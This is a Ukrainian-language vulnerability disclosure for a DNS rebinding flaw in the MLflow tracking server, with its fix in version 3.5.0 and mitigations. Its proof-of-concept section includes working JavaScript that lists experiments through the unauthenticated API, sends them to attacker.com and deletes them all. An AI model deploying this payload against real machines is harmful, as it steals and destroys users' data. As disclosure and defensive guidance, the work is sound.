Автор: Evan Harris
Ризик: Високий (CVSS 8.1, CVE-2025-14279)
Уражений компонент: REST-сервер MLflow (mlflow/mlflow), версії до 3.4.0 включно

Стисло

REST-сервер MLflow не перевіряв заголовки Origin чи Host у вхідних запитах, залишаючись відкритим для DNS rebinding. Жертва, яка запускає mlflow server локально, а потім відвідує шкідливий сайт, може перетворити свій браузер на проксі, що дістається до інтерфейсу loopback в обхід Same-Origin Policy. За відсутності автентифікації в REST API зловмисник отримує повний доступ на читання та запис: він може перелічити експерименти, вивантажити дані на зовнішній хост і видалити експерименти. Проблемі присвоєно CVE-2025-14279 (CVSS 8.1, Високий), її виправлено у MLflow 3.5.0, де додано перевірку заголовка Host і блокування міжоригінних запитів. Користувачам слід оновитися до 3.5.0 або новішої версії.

Передумови

Сервер відстеження MLflow надає REST API (зазвичай за адресою http://localhost:5000), який вебінтерфейс і клієнтські бібліотеки використовують для створення, пошуку, оновлення та видалення експериментів і запусків. За замовчуванням сервер працює без автентифікації, з припущення, що прив’язка до localhost зберігає його приватним.

Це припущення руйнується під час DNS rebinding. Same-Origin Policy браузера має завадити сторінці, поданій з attacker.com, читати відповіді від localhost:5000, але rebinding обходить її, змінюючи те, у що розв’язується ім’я хоста після завантаження сторінки. Оскільки сервер MLflow приймав запити, не перевіряючи, звідки вони походять, будь-який сайт, який відвідала жертва, міг керувати локальним API.

Огляд

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000] B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL] C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface] D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request] E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"] F --> G[Exfiltrate experiment data
to attacker.com] F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"] style A fill:#fff3e0 style B fill:#ffebee style C fill:#ffebee style D fill:#ffebee style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#ffcdd2 style H fill:#ffcdd2

Сценарій атаки

  1. Жертва клонує MLflow і запускає сервер локально з типовою конфігурацією (mlflow server), попутно створюючи деякі експерименти.
  2. Зловмисник розгортає лабораторію DNS rebinding, наприклад Singularity of Origin від NCC Group, і розміщує наведене нижче корисне навантаження у каталозі payloads фреймворку.
  3. Жертва відвідує сайт зловмисника та залишається на сторінці достатньо довго (менш ніж хвилину), щоб стався rebind.
  4. DNS-сервер зловмисника спершу розв’язує ім’я хоста у власний IP, щоб корисне навантаження завантажилося, а потім відповідає на пізніші запити адресою 127.0.0.1. Браузер повторно використовує кешоване ім’я, тож виклики fetch сторінки тихо переходять на localhost:5000, зберігаючи початковий origin.
  5. Оскільки сервер MLflow не виконує жодної перевірки Origin чи Host, запити успішні. Зловмисник перелічує експерименти, надсилає дані на attacker.com і видаляє експерименти.

Демонстрація (Proof of Concept)

Наведене нижче корисне навантаження реєструється у фреймворку DNS rebinding. Воно ідентифікує ціль як сервер MLflow, перелічує експерименти через неавтентифікований REST API, вивантажує результати на контрольований зловмисником хост, а потім видаляє кожен експеримент. Оригінальну демонстрацію тут стиснуто до її функціональних кроків.

const MlFlow = () => {
    let attackExecuted = false;

    async function attack() {
        if (attackExecuted) return;
        const base = `http://${window.location.hostname}:5000`;

        // Read access: enumerate experiments via the unauthenticated REST API
        const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
        });
        const { experiments } = await searchResponse.json();
        if (!experiments?.length) { attackExecuted = true; return; }

        // Exfiltrate the experiment data to the attacker
        fetch('https://attacker.com/messages', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ experimentData: experiments }),
        });

        // Write access: delete every experiment
        for (const experiment of experiments) {
            await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ experiment_id: experiment.experiment_id }),
            });
            await new Promise(r => setTimeout(r, 500));
        }
        attackExecuted = true;
    }

    // Fingerprint the rebound target as an MLflow server before attacking
    async function isService() {
        const response = await fetch(`http://${window.location.hostname}:5000`);
        const body = await response.text();
        return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
    }

    return { attack, isService };
};

// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();

Наслідки

  • Вивантаження даних: метадані експериментів читаються через experiments/search і надсилаються на контрольований зловмисником хост.
  • Знищення даних: експерименти видаляються через experiments/delete.
  • Маніпуляція даними: той самий неавтентифікований доступ на запис дозволяє операції оновлення експериментів.
  • Облікові дані не потрібні: атака працює проти типового розгортання mlflow server, потребуючи лише того, щоб жертва відвідала шкідливу сторінку, поки сервер запущено.

Відповідь MLflow

Після того, як ми розкрили проблему через процес скоординованого розкриття MLflow, супровідники усунули її у pull request #17910.

Виправлення впроваджує рівень захисного проміжного ПЗ для сервера, який:

  • Перевіряє заголовок Host за списком дозволених значень (localhost і приватні діапазони IP за замовчуванням), щоб блокувати DNS rebinding.
  • Блокує міжоригінні запити, що змінюють стан (POST, PUT, DELETE, PATCH), з не-localhost origin.
  • Додає захисні заголовки відповіді (X-Frame-Options: SAMEORIGIN, X-Content-Type-Options: nosniff).

Для розгортань, яким законно потрібен ширший доступ, доступна нова конфігурація, зокрема --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) і --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Захист вийшов у MLflow 3.5.0, а пізніше проблемі присвоєно CVE-2025-14279 (CVSS 8.1, Високий; CWE-346, Origin Validation Error).

Рекомендації

Для кінцевих користувачів

  • Оновіться до MLflow 3.5.0 або новішої версії.
  • Зберігайте типові налаштування --allowed-hosts і --cors-allowed-origins, якщо у вас немає конкретної причини їх розширювати, і ніколи не вимикайте захисне проміжне ПЗ на відкритому сервері.
  • Не прив’язуйте сервер MLflow до публічної чи недовіреної мережі та поставте перед ним автентифікацію або зворотний проксі, якщо він має бути досяжним за межами localhost.
  • Ставтеся до локально прив’язаного сервера як до досяжного з браузера: закривайте або ізолюйте локальні екземпляри MLflow під час перегляду недовірених сайтів.

Хронологія

Дата Подія
22 вересня 2025 Про вразливість повідомлено супровідникам MLflow у межах скоординованого розкриття (issue #17877)
6 жовтня 2025 MLflow об’єднує виправлення (PR #17910), випущене у v3.5.0
12 січня 2026 CVE-2025-14279 опубліковано (CVSS 8.1, Високий)
8 червня 2026 Публічне розкриття